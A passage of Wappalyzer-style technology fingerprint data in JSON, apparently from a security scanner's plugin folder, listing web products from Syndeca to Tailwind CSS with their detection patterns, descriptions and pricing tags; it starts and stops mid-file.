actionable campaigns.\",\n    \"icon\": \"Syndeca.svg\",\n    \"js\": {\n      \"SyndecaAnalyticsObject\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.syndeca\\\\.com/\"\n    ],\n    \"website\": \"https://www.syndeca.com\"\n  },\n  \"Synerise\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Synerise.svg\",\n    \"scriptSrc\": [\n      \"snrcdn\\\\.net/sdk/(3\\\\.0)/synerise-javascript-sdk\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://synerise.com/\"\n  },\n  \"Synology DiskStation\": {\n    \"cats\": [\n      48\n    ],\n    \"description\": \"DiskStation provides a full-featured network attached storage.\",\n    \"html\": [\n      \"<noscript><div class='syno-no-script'\"\n    ],\n    \"icon\": \"Synology DiskStation.svg\",\n    \"meta\": {\n      \"application-name\": \"Synology DiskStation\",\n      \"description\": \"^DiskStation provides a full-featured network attached storage\"\n    },\n    \"scriptSrc\": [\n      \"webapi/entry\\\\.cgi\\\\?api=SYNO\\\\.(?:Core|Filestation)\\\\.Desktop\\\\.\"\n    ],\n    \"website\": \"https://synology.com\"\n  },\n  \"SyntaxHighlighter\": {\n    \"cats\": [\n      19\n    ],\n    \"html\": [\n      \"<(?:script|link)[^>]*sh(?:Core|Brush|ThemeDefault)\"\n    ],\n    \"icon\": \"SyntaxHighlighter.png\",\n    \"js\": {\n      \"SyntaxHighlighter\": \"\"\n    },\n    \"website\": \"https://github.com/syntaxhighlighter\"\n  },\n  \"Systeme.io\": {\n    \"cats\": [\n      32,\n      71\n    ],\n    \"cookies\": {\n      \"systeme_affiliate\": \"\"\n    },\n    \"description\": \"Systeme.io is an all-in-one marketing platform that helps businesses create and launch sales funnels, affiliate programs, email marketing campaigns, online courses, blogs, and websites.\",\n    \"dom\": [\n      \"from[action*='//systeme.io/'], a[href*='//systeme.io/']\"\n    ],\n    \"icon\": \"Systeme.io.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//systeme\\\\.io/\"\n    ],\n    \"website\": \"https://systeme.io\"\n  },\n  \"Systems Accel\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Systems Accel is an all-in-one platform designed to automate processes and boost sales for coaches, consultants, and service providers.\",\n    \"icon\": \"SystemsAccel.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.systemsaccel\\\\.com\"\n    ],\n    \"website\": \"https://systemsaccel.com\"\n  },\n  \"Syte\": {\n    \"cats\": [\n      76,\n      29\n    ],\n    \"description\": \"Syte is a provider of visual AI technology that aims to improve retailers' site navigation, product discovery, and user experience by powering solutions that engage and convert shoppers.\",\n    \"dom\": [\n      \"img[src*='cdn.syteapi.com']\"\n    ],\n    \"icon\": \"Syte.svg\",\n    \"js\": {\n      \"SyteApi.getBinImageBB\": \"\",\n      \"SyteApp.Analytics\": \"\",\n      \"SytePixel\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.syteapi\\\\.com/\"\n    ],\n    \"website\": \"https://www.syte.ai\"\n  },\n  \"sIFR\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"sIFR is a JavaScript and Adobe Flash dynamic web fonts implementation.\",\n    \"icon\": \"sIFR.png\",\n    \"scriptSrc\": [\n      \"sifr\\\\.js\"\n    ],\n    \"website\": \"https://www.mikeindustries.com/blog/sifr\"\n  },\n  \"sNews\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"sNews.png\",\n    \"meta\": {\n      \"generator\": \"sNews\"\n    },\n    \"website\": \"https://snewscms.com\"\n  },\n  \"script.aculo.us\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:script.aculo.us:script.aculo.us:*:*:*:*:*:*:*:*\",\n    \"icon\": \"script.aculo.us.png\",\n    \"js\": {\n      \"Scriptaculous.Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/(?:scriptaculous|protoaculous)(?:\\\\.js|/)\"\n    ],\n    \"website\": \"https://script.aculo.us\"\n  },\n  \"scrollreveal\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Reveal elements as they enter the viewport.\",\n    \"html\": [\n      \"<[^>]+data-sr(?:-id)\"\n    ],\n    \"icon\": \"scrollreveal.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"scrollreveal(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://scrollrevealjs.org\"\n  },\n  \"shadcn-svelte\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Shadcn-svelte is an adaptation of shadcn/ui for Svelte, offering accessible and customisable components.\",\n    \"dom\": [\n      \"link[href*='shadcn-svelte']\"\n    ],\n    \"icon\": \"ShadCnSvelte.svg\",\n    \"js\": {\n      \"sessionStorage.sveltekit:scroll\": \"\",\n      \"sessionStorage.sveltekit:snapshot\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Svelte\"\n    ],\n    \"website\": \"https://www.shadcn-svelte.com\"\n  },\n  \"shadcn/ui\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--destructive-foreground\"\n    ],\n    \"description\": \"shadcn/ui is a component system built with Radix UI and Tailwind CSS.\",\n    \"icon\": \"shadcn-ui.svg\",\n    \"implies\": [\n      \"Radix UI\",\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://ui.shadcn.com\"\n  },\n  \"shine.js\": {\n    \"cats\": [\n      25\n    ],\n    \"js\": {\n      \"Shine\": \"\"\n    },\n    \"scriptSrc\": [\n      \"shine(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://bigspaceship.github.io/shine.js/\"\n  },\n  \"sidr\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Sidr is a jQuery plugin for creating side menus.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sidr(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.albertovarela.net/sidr/\"\n  },\n  \"siimple\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"siimple is a minimal CSS toolkit for building flat, clean and responsive web designs.\",\n    \"dom\": {\n      \"link[href*='siimple.min.css']\": {\n        \"attributes\": {\n          \"href\": \"/npm/siimple@([\\\\d\\\\.]+)/dist/siimple\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"siimple.svg\",\n    \"oss\": true,\n    \"website\": \"https://siimple.xyz\"\n  },\n  \"simploCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"simplocms_session\": \"\"\n    },\n    \"description\": \"simploCMS is a CMS utilized by a Czech team across various project types, including ecommerce development, web applications, and corporate website projects.\",\n    \"icon\": \"simploCMS.svg\",\n    \"meta\": {\n      \"generator\": \"^simploCMS;\"\n    },\n    \"website\": \"https://www.simplo.cz/co-umime/\"\n  },\n  \"slideout\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A touch slideout navigation menu for your mobile web apps.\",\n    \"icon\": \"slideout.png\",\n    \"js\": {\n      \"slideout\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"slideout(?:-init)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?slideout(?:-init)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://slideout.js.org/\"\n  },\n  \"snigel AdConsent\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"snigel AdConsent is a IAB-registered consent management platfrom (CMP) which help keep sites speed intact while remaining compliant with GDPR and CCPA.\",\n    \"icon\": \"snigel.svg\",\n    \"js\": {\n      \"adconsent.version\": \"^([\\\\d.]+)$\\\\;version:\\\\1\",\n      \"snhb.baseSettings\": \"\\\\;confidence:50\",\n      \"snhb.info.cmpVersion\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:staging-)?cdn\\\\.snigelweb\\\\.com/(?:snhb|adconsent)/\"\n    ],\n    \"website\": \"https://www.snigel.com/adconsent/\"\n  },\n  \"snigel AdEngine\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"snigel AdEngine is a header bidding solution product from snigel.\",\n    \"icon\": \"snigel.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:staging-)?cdn\\\\.snigelweb\\\\.com/adengine/\",\n      \"adengine\\\\.snigelweb\\\\.com\"\n    ],\n    \"website\": \"https://www.snigel.com/adengine/\"\n  },\n  \"spin.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Configurable JavaScript/CSS spinner that can be used as a resolution-independent loading indicator\",\n    \"icon\": \"spin.js.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"spin(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://spin.js.org/\"\n  },\n  \"stores.jp\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"stores.jp is an ecommerce platform which allows users to create their own ecommerce website.\",\n    \"icon\": \"stores.jp.svg\",\n    \"implies\": [\n      \"Visa\",\n      \"Mastercard\"\n    ],\n    \"js\": {\n      \"STORES_JP\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://stores.jp/ec/\"\n  },\n  \"styled-components\": {\n    \"cats\": [\n      12,\n      47\n    ],\n    \"description\": \"Styled components is a CSS-in-JS styling framework that uses tagged template literals in JavaScript.\",\n    \"dom\": {\n      \"[sc-component-id]\": {\n        \"text\": \"\"\n      },\n      \"style[data-styled-version]\": {\n        \"attributes\": {\n          \"data-styled-version\": \"(^.+$)\\\\;version:\\\\1\"\n        }\n      },\n      \"style[data-styled], style[data-styled-components], [sc-component-id]\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"styled-components.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"styled\": \"\"\n    },\n    \"website\": \"https://styled-components.com\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/t.json",
    "content": "{\n  \"T-Soft\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"T-Soft is a technology company specializing in ecommerce platform development and management.\",\n    \"dom\": [\n      \"a[href*='.tsoft.com.tr'][target='_blank'][title='T-Soft E-ticaret Sistemleri']\"\n    ],\n    \"html\": [\n      \"<a href=\\\"http://www\\\\.tsoft\\\\.com\\\\.tr\\\" target=\\\"_blank\\\" title=\\\"T-Soft E-ticaret Sistemleri\\\">\"\n    ],\n    \"icon\": \"Tsoft.svg\",\n    \"website\": \"https://www.tsoft.com.tr\"\n  },\n  \"T1 Comercios\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"T1 Comercios is an integrator platform with marketplaces(https://www.claroshop.com/,https://www.sears.com.mx/,https://www.sanborns.com.mx/).\",\n    \"icon\": \"T1 Comercios.svg\",\n    \"meta\": {\n      \"generator\": \"^T1COMERCIOS$\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.t1comercios.com\"\n  },\n  \"T1 Envios\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"T1 Envios is a delivery solution, allows the business to select the best courier to send their packages.\",\n    \"icon\": \"T1 Envios.svg\",\n    \"meta\": {\n      \"generator\": \"^T1ENVIOS$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://t1envios.com\"\n  },\n  \"T1 Paginas\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"T1 Paginas is an ecommerce platform.\",\n    \"icon\": \"T1 Paginas.svg\",\n    \"implies\": [\n      \"AngularJS\",\n      \"Node.js\",\n      \"MongoDB\"\n    ],\n    \"meta\": {\n      \"generator\": \"^T1PAGINAS$\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://t1paginas.com\"\n  },\n  \"T1 Pagos\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"T1 Pagos is a payment processing platform.\",\n    \"icon\": \"T1 Pagos.svg\",\n    \"meta\": {\n      \"generator\": \"^T1PAGOS$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.t1pagos.com\"\n  },\n  \"TCAdmin\": {\n    \"cats\": [\n      9\n    ],\n    \"description\": \"TCAdmin is the game hosting control panel.\",\n    \"icon\": \"TCAdmin.svg\",\n    \"js\": {\n      \"TCAdmin\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"website\": \"https://www.tcadmin.com\"\n  },\n  \"TDO Software\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"TDO is a practice management software designed for endodontists to build a modern office environment.\",\n    \"dom\": [\n      \"link[href*='//tdosites.com'][rel='dns-prefetch']\"\n    ],\n    \"icon\": \"TDOSoftware.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tdosites\\\\.com/\"\n    ],\n    \"website\": \"https://wwww.tdo4endo.com\"\n  },\n  \"TDesign\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"TDesign launched by Tencent contains rich and reusable design component resources, such as color system, text system, motion design, etc.\",\n    \"dom\": [\n      \".t-button__text, .t-layout\"\n    ],\n    \"icon\": \"TDesign.svg\",\n    \"scriptSrc\": [\n      \"tdesign\\\\.gtimg\\\\.com/\"\n    ],\n    \"website\": \"https://tdesign.tencent.com\"\n  },\n  \"THG Ingenuity\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"THG Ingenuity is completely unique in that it's both a peer-to-peer ecommerce retailer and a service provider to global cross-border commerce operations.\",\n    \"icon\": \"THG Ingenuity.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"THEHUT-.*\\\\.js\"\n    ],\n    \"website\": \"https://www.thgingenuity.com\"\n  },\n  \"THRON\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"THRON is a digital asset management platform that provides a centralised hub for storing, organising, and distributing digital assets like images, videos, and documents.\",\n    \"dom\": [\n      \"link[href*='.thron.com/'], img[src*='.thron.com/']\"\n    ],\n    \"icon\": \"THRON.svg\",\n    \"js\": {\n      \"THRONPlayer\": \"\",\n      \"thronHlsJs\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.thron.com\"\n  },\n  \"TITANPush\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"TITANPush is a platform offering tools that assist brands in increasing sales through their websites and improving customer communication without requiring programming knowledge.\",\n    \"icon\": \"TITANPush.svg\",\n    \"js\": {\n      \"titanPush\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.titanpush\\\\.com\"\n    ],\n    \"website\": \"https://www.titanpush.com\"\n  },\n  \"TN Express Web\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"TNEW\": \"\"\n    },\n    \"description\": \"Tessitura is an enterprise application to manage activities in ticketing, fundraising, customer relationship management, and marketing.\",\n    \"icon\": \"tessitura.svg\",\n    \"implies\": [\n      \"Tessitura\"\n    ],\n    \"website\": \"https://www.tessituranetwork.com\"\n  },\n  \"TNS Payments\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"TNS Payments, is designed to deliver payment transaction information to banks, merchants, processors and other payment institutions.\",\n    \"icon\": \"tnsi.svg\",\n    \"scriptSrc\": [\n      \"secure\\\\.ap\\\\.tnspayments\\\\.com\"\n    ],\n    \"website\": \"https://tnsi.com/products/payments/\"\n  },\n  \"TRISOshop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"TRISOshop is an ecommerce platform.\",\n    \"dom\": [\n      \"a[href*='www.trisoshop.pl'][target='_blank']\"\n    ],\n    \"icon\": \"TRISOshop.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.trisoshop.pl\"\n  },\n  \"TRUENDO\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"TRUENDO is a GDPR compliance software.\",\n    \"icon\": \"TRUENDO.svg\",\n    \"js\": {\n      \"Truendo\": \"\",\n      \"TruendoCookieControlCallback\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.priv\\\\.center/\",\n      \"cdn\\\\.truendo\\\\.com/\"\n    ],\n    \"website\": \"https://truendo.com\"\n  },\n  \"TVSquared\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"TVSquared is a cross-platform TV ad measurement, analytics and optimisation platform.\",\n    \"dom\": [\n      \"link[href*='.tvsquared.com']\"\n    ],\n    \"icon\": \"TVSquared.png\",\n    \"js\": {\n      \"TV2Track\": \"\",\n      \"_tvq\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tvsquared.com\"\n  },\n  \"TWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cookies\": {\n      \"TWIKISID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:twiki:twiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"TWiki is an open-source wiki and application platform.\",\n    \"html\": [\n      \"<img [^>]*(?:title|alt)=\\\"This site is powered by the TWiki collaboration platform\"\n    ],\n    \"icon\": \"TWiki.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"scriptSrc\": [\n      \"(?:TWikiJavascripts|twikilib(?:\\\\.min)?\\\\.js)\"\n    ],\n    \"website\": \"https://twiki.org\"\n  },\n  \"TYPO3 CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*\",\n    \"description\": \"TYPO3 is a free and open-source Web content management system written in PHP.\",\n    \"dom\": [\n      \"link[href*='typo3conf'], link[href*='typo3temp'], img[src*='typo3conf'], img[src*='typo3temp']\"\n    ],\n    \"icon\": \"TYPO3.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"TYPO3\\\\s+(?:CMS\\\\s+)?(?:[\\\\d.]+)?(?:\\\\s+CMS)?\"\n    },\n    \"oss\": true,\n    \"probe\": {\n      \"/typo3/sysext/core/Resources/Public/Images/typo3_orange.svg\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^/?typo3(?:conf|temp)/\"\n    ],\n    \"url\": [\n      \"/typo3/\"\n    ],\n    \"website\": \"https://typo3.org/\"\n  },\n  \"Tabarnapp\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Tabarnapp is a platform for Shopify apps and themes.\",\n    \"icon\": \"Tabarnapp.png\",\n    \"js\": {\n      \"tabarnapp_loaded_ad\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.tabarn\\\\.app/\"\n    ],\n    \"website\": \"https://tabarnapp.com\"\n  },\n  \"Tabby\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Tabby is a Buy now pay later solution from Middle East.\",\n    \"icon\": \"Tabby.svg\",\n    \"js\": {\n      \"Tabby\": \"\",\n      \"TabbyPromo\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"checkout\\\\.tabby\\\\.ai\"\n    ],\n    \"website\": \"https://tabby.ai/\"\n  },\n  \"TableBooker\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Tablebooker is an online reservation system for restaurants.\",\n    \"dom\": {\n      \"iframe\": {\n        \"attributes\": {\n          \"id\": \"tablebookerResFrame_\"\n        }\n      }\n    },\n    \"icon\": \"TableBooker.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"reservations\\\\.tablebooker\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.tablebooker.com\"\n  },\n  \"TableCheck\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"TableCheck is a restaurant table booking widget.\",\n    \"dom\": {\n      \"form[action*='tablecheck']\": {\n        \"attributes\": {\n          \"action\": \"\\\\.tablecheck\\\\.\\\\w+/\"\n        }\n      }\n    },\n    \"icon\": \"TableCheck.svg\",\n    \"scriptSrc\": [\n      \"tc_widget\\\\.js\"\n    ],\n    \"website\": \"https://www.tablecheck.com\"\n  },\n  \"TablePress\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"TablePress is a free and open source plugin for the WordPress publishing platform. It enables you to create and manage tables on your website, without any coding knowledge.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/tablepress/']\"\n    ],\n    \"icon\": \"TablePress.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://tablepress.org\"\n  },\n  \"Tablesorter\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Flexible client-side table sorting.\",\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)[-\\\\/](?:dist\\\\/js\\\\/)?)?(?:jquery\\\\.)?tablesorter(?:[\\\\.\\\\/]pager)?(?:-custom-controls)?(?:\\\\.widgets)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mottie.github.io/tablesorter/\"\n  },\n  \"Taboola\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"taboola_session_id\": \"\"\n    },\n    \"description\": \"Taboola is a content discovery & native advertising platform for publishers and advertisers.\",\n    \"dom\": {\n      \"link[href*='.taboola.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Taboola.svg\",\n    \"js\": {\n      \"TRCImpl.global\": \"\",\n      \"_taboola\": \"\",\n      \"taboola_view_id\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.taboola\\\\.com\"\n    ],\n    \"website\": \"https://www.taboola.com\",\n    \"xhr\": [\n      \"\\\\.taboola\\\\.com\"\n    ]\n  },\n  \"Tabulator\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Tabulator is a JavaScript tool for creating interactive tables and data grids.\",\n    \"icon\": \"Tabulator.svg\",\n    \"js\": {\n      \"Tabulator\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tabulator.info/\"\n  },\n  \"Tachyons\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Tachyons is a functional CSS framework.\",\n    \"dom\": {\n      \"link[href*='tachyons.min.css']\": {\n        \"attributes\": {\n          \"href\": \"(?:([\\\\d\\\\.]+)(?:/css)?/)?tachyons\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Tachyons.svg\",\n    \"js\": {\n      \"webpackChunkgatsby_starter_blog_tachyons\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://tachyons.io\"\n  },\n  \"Tada\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Tada offers interactive website popups that allow Shopify merchants to collect more emails and increase sales by engaging website visitors through gamification.\",\n    \"icon\": \"Tada.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.trytada\\\\.com/\"\n    ],\n    \"website\": \"https://trytada.com\"\n  },\n  \"TagPro\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"TagPro is software that updates and allows you to manage tags within websites, identifying various types of variables to optimise loads for advertising.\",\n    \"icon\": \"TagPro.png\",\n    \"js\": {\n      \"initAdproTags\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tagpro\\\\.adpromedia\\\\.net/\"\n    ],\n    \"website\": \"https://tagpro.adpromedia.net\"\n  },\n  \"Tagboard\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Tagboard is a platform which allows users to aggregate data from major social networking websites and embed, repost and redisplay it on various media.\",\n    \"dom\": [\n      \"iframe[src*='.tagboard.com/']\"\n    ],\n    \"icon\": \"Tagboard.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tagboard\\\\.com/\"\n    ],\n    \"website\": \"https://tagboard.com\"\n  },\n  \"Tagembed\": {\n    \"cats\": [\n      96,\n      5\n    ],\n    \"description\": \"Tagembed is a social media aggregator that collects and displays engaging user-generated content from any social media network such as Instagram, Facebook, Twitter, Youtube, Tiktok, Google Reviews, Airbnb, and 18+ networks.\",\n    \"dom\": [\n      \"script[data-src*='widget.tagembed.com/']\"\n    ],\n    \"icon\": \"Tagembed.svg\",\n    \"js\": {\n      \"TagembedWidget\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//widget\\\\.tagembed\\\\.com/\"\n    ],\n    \"website\": \"https://tagembed.com\"\n  },\n  \"Taggbox\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Taggbox is an UGC platform to collect, curate, manage rights, and publish user-generated content marketing campaigns across multiple channels.\",\n    \"icon\": \"Taggbox.svg\",\n    \"js\": {\n      \"taggboxAjaxurl\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.taggbox\\\\.com\",\n      \"taggbox\\\\.com/app/js/embed\\\\.min\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"url\": [\n      \"\\\\.taggbox\\\\.com\"\n    ],\n    \"website\": \"https://taggbox.com/\"\n  },\n  \"Tagshop\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Tagshop is a platform that allows ecommerce brands to create, collect, and integrate user-generated content on product pages, social ads, and emails, thereby increasing sales.\",\n    \"dom\": [\n      \"div[view-url*='app.taggshop.io/']\"\n    ],\n    \"icon\": \"Tagshop.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.taggshop\\\\.io/\"\n    ],\n    \"website\": \"https://tagshop.ai/\"\n  },\n  \"Tagtoo\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Tagtoo is an ad platform that provides businesses with digital advertising solutions, specializing in targeted display and programmatic ads to help brands reach their audience more across various online channels.\",\n    \"icon\": \"Tagtoo.svg\",\n    \"js\": {\n      \"tagtoo_advertiser_id\": \"\",\n      \"tagtoo_ga\": \"\",\n      \"tagtoo_s\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://tagtoo.com\"\n  },\n  \"Taiga\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Taiga is an open-source agile project management software that supports Scrum and Kanban methodologies for cross-functional teams.\",\n    \"icon\": \"Taiga.svg\",\n    \"implies\": [\n      \"Django\",\n      \"AngularJS\"\n    ],\n    \"js\": {\n      \"taigaConfig\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://taiga.io\"\n  },\n  \"Tail\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Tail is a customer data management platform.\",\n    \"icon\": \"Tail.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tailtarget\\\\.com/\"\n    ],\n    \"website\": \"https://www.tail.digital\"\n  },\n  \"Tailwind CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--tw-(?:rotate|translate|space-x|text-opacity|border-opacity)\"\n    ],\n    \"description\": \"Tailwind is a utility-first CSS framework.\",\n    \"dom\": {\n      \"link[rel='stylesheet'][href*='tailwind']\": {\n        \"attributes\": {\n          \"href\": \"tailwindcss[@|/](?:\\\\^)?([\\\\d.]+)(?:/[a-z]+)?/(?:tailwind|base|components|utilities)(?:\\\\.min)?\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"tailwindcss.svg\",\n    